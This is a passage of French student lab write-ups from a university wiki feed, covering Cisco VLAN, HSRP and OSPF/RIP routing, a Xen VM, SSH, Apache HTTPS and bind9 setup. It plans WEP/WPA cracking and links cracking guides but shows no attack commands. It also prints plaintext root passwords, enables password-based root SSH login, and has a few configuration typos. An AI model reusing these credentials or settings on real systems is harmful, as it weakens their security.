   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900  //Donner un préfixe IPV6 à chaque machine                              &lt;br /&gt;
   ipv6 nd router-preference high                    //IPV6 sera la route de préférence par défaut avec une forte probabilitée&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI3&lt;br /&gt;
   ip address 10.60.2.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252                                                     &lt;br /&gt;
   standby 3 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                       &lt;br /&gt;
   &lt;br /&gt;
   interface BDI4&lt;br /&gt;
   ip address 10.60.3.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252                                                     &lt;br /&gt;
   standby 4 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI5&lt;br /&gt;
   ip address 10.60.4.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252                                                    &lt;br /&gt;
   standby 5 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI6&lt;br /&gt;
   ip address 10.60.5.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252                                                      &lt;br /&gt;
   standby 6 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit  &lt;br /&gt;
   &lt;br /&gt;
   interface BDI7&lt;br /&gt;
   ip address 10.60.6.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252                                                      &lt;br /&gt;
   standby 7 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B7::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B7::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                                 &lt;br /&gt;
 &lt;br /&gt;
   interface BDI42&lt;br /&gt;
   ip address 193.48.57.173 255.255.255.240         &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172                                                     &lt;br /&gt;
   standby 42 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900                               &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   int vlan 130&lt;br /&gt;
   ip address 192.168.222.1 255.255.255.248         &lt;br /&gt;
   ipv6 address fe80::2 link-local                  &lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 rip tpima2a5 enable                        &lt;br /&gt;
   exit&lt;br /&gt;
   ip rooting&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E306 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour SR32 =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan130 //Autoriser le vlan 130 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour les commutateurs =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.253   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.8 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan1&lt;br /&gt;
   ip address 10.60.0.253 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan2&lt;br /&gt;
   ip address 10.60.1.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 2 ip 10.60.1.252&lt;br /&gt;
   standby 2 preempt&lt;br /&gt;
   exit&lt;br /&gt;
     &lt;br /&gt;
   interface Vlan3&lt;br /&gt;
   ip address 10.60.2.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252&lt;br /&gt;
   standby 3 preempt&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface Vlan4&lt;br /&gt;
   ip address 10.60.3.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252&lt;br /&gt;
   standby 4 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan5&lt;br /&gt;
   ip address 10.60.4.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252&lt;br /&gt;
   standby 5 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan6&lt;br /&gt;
   ip address 10.60.5.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252&lt;br /&gt;
   standby 6 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan7&lt;br /&gt;
   ip address 10.60.6.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2201:660:4401:60B7::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2201:660:4401:60B7::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252&lt;br /&gt;
   standby 7 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan42&lt;br /&gt;
   ip address 193.48.57.174 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172&lt;br /&gt;
   standby 42 preempt&lt;br /&gt;
   exit&lt;br /&gt;
          &lt;br /&gt;
   interface Vlan130&lt;br /&gt;
   ip address 192.168.222.2 255.255.255.248&lt;br /&gt;
   ipv6 address FE80::42:3 link-local&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
https://rex.plil.fr/&lt;br /&gt;
&lt;br /&gt;
https://tutofacile.org/2017/04/installation-configuration-bind/&lt;br /&gt;
&lt;br /&gt;
https://wiki.debian.org/fr/Bind9&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/apache2&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/aircrack-ng&lt;br /&gt;
&lt;br /&gt;
https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-4-creating-custom-wordlist-with-crunch-0156817/&lt;/div&gt;</summary>
		<author><name>Fcavalie</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51578</id>
		<title>TP sysres IMA2a5 2019/2020 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51578"/>
				<updated>2019-12-07T02:44:46Z</updated>
		
		<summary type="html">&lt;p&gt;Fcavalie : /* Cassage WEP */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Maxime Hirt - Fabien Cavalier''&lt;br /&gt;
&lt;br /&gt;
==Présentation du Groupe et du projet==&lt;br /&gt;
Le groupe de projet est contitué de:&lt;br /&gt;
* Cavalier Fabien &lt;br /&gt;
* Hirt Maxime.&lt;br /&gt;
&lt;br /&gt;
Lors de ce projet nous allons devoir:&lt;br /&gt;
* Créer une architecture reseaux avec un système de redondance&lt;br /&gt;
* Créer une machine virtuel&lt;br /&gt;
* Parametrer des connections IPV6&lt;br /&gt;
* Effectuer un forcebrut sur une clé WEP et WPA&lt;br /&gt;
* Créer un systeme de stockage Raid5&lt;br /&gt;
* Cryptage de fichiers&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle avec xen ==&lt;br /&gt;
&lt;br /&gt;
===Connection à Corduan via ssh ===&lt;br /&gt;
 ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
&lt;br /&gt;
===Création et initialisation de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
'''Creation de la machine virtuelle'''&lt;br /&gt;
 xen-create-image --hostname=ima2a5-zerofun --dhcp --dir=/usr/local/xen --dist=ascii --apt-proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
 xl create ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de configuration de la VM'''&lt;br /&gt;
&lt;br /&gt;
 nano ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance ima2a5-zerofun, created&lt;br /&gt;
  # by xen-tools 4.7 on Fri Nov  8 08:57:54 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
  ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'ima2a5-zerofun'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:92:4D:4E, bridge=IMA2a5' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
'''Lancement de la VM'''&lt;br /&gt;
 xl console ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Récupération du mot de passe'''&lt;br /&gt;
 cat /var/log/xen-tools/ima2a5-zerofun.log | grep Password&lt;br /&gt;
 &amp;gt;&amp;gt;Root Password   :  a7a5eajZ5uCpXrZXWQ9esTT&lt;br /&gt;
&lt;br /&gt;
On peut ensuite modifier le mot de passe avec ''passwd''    -&amp;gt; ''glopglop''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration de la machine virtuelle pour que var et home soient des partitions de l'hôte'''&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-home virtual&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-var virtual&lt;br /&gt;
&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-home&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-var&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de config'''&lt;br /&gt;
&lt;br /&gt;
    disk    	= [&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/disk.img,xvda2,w',&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/swap.img,xvda1,w',               &lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                 ]&lt;br /&gt;
&lt;br /&gt;
===Autorisation de l'accès à notre machine virtuelle via le protocole SSH===&lt;br /&gt;
&lt;br /&gt;
On regarde si le package openssh-server est installé&lt;br /&gt;
 ssh -V&lt;br /&gt;
 &lt;br /&gt;
S'il ne l'est pas, alors on l'installe :  &lt;br /&gt;
 root@ima2a5-zerofun:~# apt install openssh-server&lt;br /&gt;
 root@ima2a5-zerofun:~# ssh -V&lt;br /&gt;
 OpenSSH_7.4p1 Debian-10+deb9u7, OpenSSL 1.0.2s  28 May 2019&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut modifier le fichier de configuration du serveur SSH pour autoriser ou non certains types d'accès : &lt;br /&gt;
 nano /etc/ssh/sshd_config&lt;br /&gt;
 PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
 PubkeyAuthentication yes // Permet de s'identifier via une clé publique&lt;br /&gt;
 PasswordAuthentication yes // Permet de s'identifier via un identifiant et un mot de passe&lt;br /&gt;
 X11Forwarding yes  //Permet de faire un déport d'affichage si on utilise une application avec interface graphique par exemple&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré le fichier de config, il faut redémarrer le service afin de prendre en compte les nouveaux paramètres:&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh restart&lt;br /&gt;
 [ ok ] Restarting OpenBSD Secure Shell server: sshd.&lt;br /&gt;
&lt;br /&gt;
Pour être sûr que le SSH est fonctionnel on teste l'état du service :&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh status&lt;br /&gt;
 [ ok ] sshd is running.&lt;br /&gt;
&lt;br /&gt;
On est bon, on peut maintenant se connecter à notre machine virtuelle autrement qu'en utilisant le xl console, ce qui permet notamment de se connecter à plusieurs simultanément. &lt;br /&gt;
&lt;br /&gt;
RAPPEL password : glopglop&lt;br /&gt;
&lt;br /&gt;
Depuis Cordouan : &lt;br /&gt;
 root@cordouan:~# ssh 193.48.57.161&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 The programs included with the Devuan GNU/Linux system are free software;&lt;br /&gt;
 the exact distribution terms for each program are described in the&lt;br /&gt;
 individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
 Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
 permitted by applicable law.&lt;br /&gt;
 Last login: Fri Dec  6 22:31:26 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
Depuis une Zabeth : &lt;br /&gt;
 pifou@zabeth30:~$ ssh root@193.48.57.161&lt;br /&gt;
 The authenticity of host '193.48.57.161 (193.48.57.161)' can't be established.&lt;br /&gt;
 ECDSA key fingerprint is SHA256:Fgo5SXYG5+Qyf3O8TwYJQv42SazTJU0Iidw26H6FUaE.&lt;br /&gt;
 Are you sure you want to continue connecting (yes/no)? y&lt;br /&gt;
 Please type 'yes' or 'no': yes&lt;br /&gt;
 Warning: Permanently added '193.48.57.161' (ECDSA) to the list of known hosts.&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 Last login: Fri Dec  6 22:54:41 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
== Site web ==&lt;br /&gt;
On souhaite réaliser un site web. Pour cela, il est nécessaire de configurer le serveur qui attendra les connexions et les demandes et enverra le contenu souhaité.  On utilisera le plus connu de tous, le serveur HTTP Apache2. &lt;br /&gt;
&lt;br /&gt;
===Installation et configuration du serveur Apache2===&lt;br /&gt;
&lt;br /&gt;
Installer Apache2 &lt;br /&gt;
 apt install apache2&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTP====&lt;br /&gt;
&lt;br /&gt;
Si on désire dans un premier temps simplement utiliser le protocole HTTP, on va créer un fichier .conf dans le répertoire /etc/apache2/sites-available &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# cat ima2a5-zerofun.site.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt; //Le port 80 est dédié au protocole HTTP&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       &amp;lt;Directory &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&amp;gt;&lt;br /&gt;
               Options +FollowSymLinks&lt;br /&gt;
               AllowOverride all&lt;br /&gt;
               Require all granted&lt;br /&gt;
       &amp;lt;/Directory&amp;gt;&lt;br /&gt;
       ErrorLog /var/log/apache2/error.ima2a5-zerofun.site.log&lt;br /&gt;
       CustomLog /var/log/apache2/access.ima2a5-zerofun.site.com.log combined&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTPS====&lt;br /&gt;
&lt;br /&gt;
Si maintenant, on souhaite &amp;lt;&amp;lt;sécuriser&amp;gt;&amp;gt; notre site web, on peut ajouter une couche de chiffrement SSL et utiliser donc le protocole HTTPS. On va alors modifier notre fichier .conf. On va également rediriger automatiquement les demandes envoyées à http://www.ima2a5-zerofun.site vers https://www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       Redirect permanent / https://ima2a5-zerofun.site   //Permet de rediriger vers https://ima2a5-zerofun.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  //-----------------------------------------------------------------------------------------------------------------//&lt;br /&gt;
  &amp;lt;VirtualHost *:443&amp;gt; //port dédié au protocole HTTPS&lt;br /&gt;
        DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot; //permet de récupérer notre page HTML stockée dans /var/www/ima2a5-zerofun&lt;br /&gt;
        ServerName ima2a5-zerofun.site //Définit le nom d'hote que le serveur va utiliser pour s'identifier&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site //Permet de dire que ce nom aboutira également à notre site&lt;br /&gt;
        ServerAdmin fabien.cavalier@polytech-lille.net&lt;br /&gt;
                &amp;lt;Directory /var/www/ima2a5-zerofun&amp;gt;&lt;br /&gt;
                        Options -Indexes +FollowSymLinks +MultiViews&lt;br /&gt;
                        AllowOverride none&lt;br /&gt;
                        Require all granted&lt;br /&gt;
                &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        ErrorLog /var/log/apache2/error.ima2a5-zerofun.site-secu.log&lt;br /&gt;
        CustomLog /var/log/apache2/access.ima2a5-zerofun.site-secu.log combined&lt;br /&gt;
         # Activation du SSL&lt;br /&gt;
        SSLEngine On&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
        SSLProtocol All -SSLv3 -SSLv2&lt;br /&gt;
        SSLHonorCipherOrder on&lt;br /&gt;
   SSLCertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.crt&amp;quot;&lt;br /&gt;
   SSLCACertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.pem&amp;quot;&lt;br /&gt;
   SSLCertificateKeyFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.key&amp;quot;&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois notre .conf établi, on doit désactiver la configuration générée par défaut par Apache2 et activer notre configuration : &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2dissite 000-default.conf //Stopper la configuration par défaut&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2ensite ima2a5-zerofun.site //Lancer notre configuration&lt;br /&gt;
&lt;br /&gt;
On active le protocole SSL via &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2enmode ssl&lt;br /&gt;
Puis on relance le serveur Apache2&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# service apache2 restart&lt;br /&gt;
 [ ok ] Restarting Apache httpd web server: apache2.&lt;br /&gt;
&lt;br /&gt;
On peut vérifier notre configuration : &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
 VirtualHost configuration:&lt;br /&gt;
 *:80                   www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:1)&lt;br /&gt;
 *:443                  www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:8)&lt;br /&gt;
 ServerRoot: &amp;quot;/etc/apache2&amp;quot;&lt;br /&gt;
 Main DocumentRoot: &amp;quot;/var/www/html&amp;quot;&lt;br /&gt;
 Main ErrorLog: &amp;quot;/var/log/apache2/error.log&amp;quot;&lt;br /&gt;
 Mutex watchdog-callback: using_defaults&lt;br /&gt;
 Mutex ssl-stapling-refresh: using_defaults&lt;br /&gt;
 Mutex ssl-stapling: using_defaults&lt;br /&gt;
 Mutex ssl-cache: using_defaults&lt;br /&gt;
 Mutex default: dir=&amp;quot;/var/run/apache2/&amp;quot; mechanism=default &lt;br /&gt;
 PidFile: &amp;quot;/var/run/apache2/apache2.pid&amp;quot;&lt;br /&gt;
 Define: DUMP_VHOSTS&lt;br /&gt;
 Define: DUMP_RUN_CFG&lt;br /&gt;
 User: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
 Group: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Gestion des certificats====&lt;br /&gt;
&lt;br /&gt;
Gandi nous a fourni la clé intermédiaire (ima2a5-zerofun.pem) , le certificat (ima2a5-zerofun.crt) et on a généré la clé privée (.key) avec openssl &lt;br /&gt;
&lt;br /&gt;
 # openssl req -nodes -newkey rsa:2048 -sha256 -keyout ima2a5-zerofun.key -out ima2a5-zerofun.csr &lt;br /&gt;
&lt;br /&gt;
On places ces fichiers dans /etc/apache2/certificate   pour pouvoir les utiliser dans notre fichier de configuration.&lt;br /&gt;
&lt;br /&gt;
====Aperçu site web ima2a5-zerofun.site====&lt;br /&gt;
&lt;br /&gt;
www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
http://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
https://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---home-fabien-Images-site web cav hirt.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du serveur DNS avec bind9===&lt;br /&gt;
Le serveur DNS (Domain Name Server) permet d'associer à une adresse IP, un nom de domaine. Ainsi, pour rechercher un serveur, on donnera son nom plutôt que son adresse IP.&lt;br /&gt;
Pour mettre en place ce DNS, on va utiliser le logiciel open source bind9.&lt;br /&gt;
&lt;br /&gt;
====Installation et paramétrage de bind9====&lt;br /&gt;
&lt;br /&gt;
Installer bind9&lt;br /&gt;
 # apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
Il faut paramétrer bind9. &lt;br /&gt;
D'abord le fichier .conf qui permet de définir les zones de résolution de DNS. &lt;br /&gt;
 &lt;br /&gt;
 #nano /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 //Zone de resolution du domaine ima2a5-zerofun.site&lt;br /&gt;
 zone &amp;quot;ima2a5-zerofun.site&amp;quot; {&lt;br /&gt;
 type master;&lt;br /&gt;
 file &amp;quot;/etc/bind/ima2a5-zerofun.site.signed&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Le second fichier à paramétrer est le .conf.options, il contient l'ensemble des options de configurations du serveur DNS&lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# cat named.conf.options &lt;br /&gt;
 options {&lt;br /&gt;
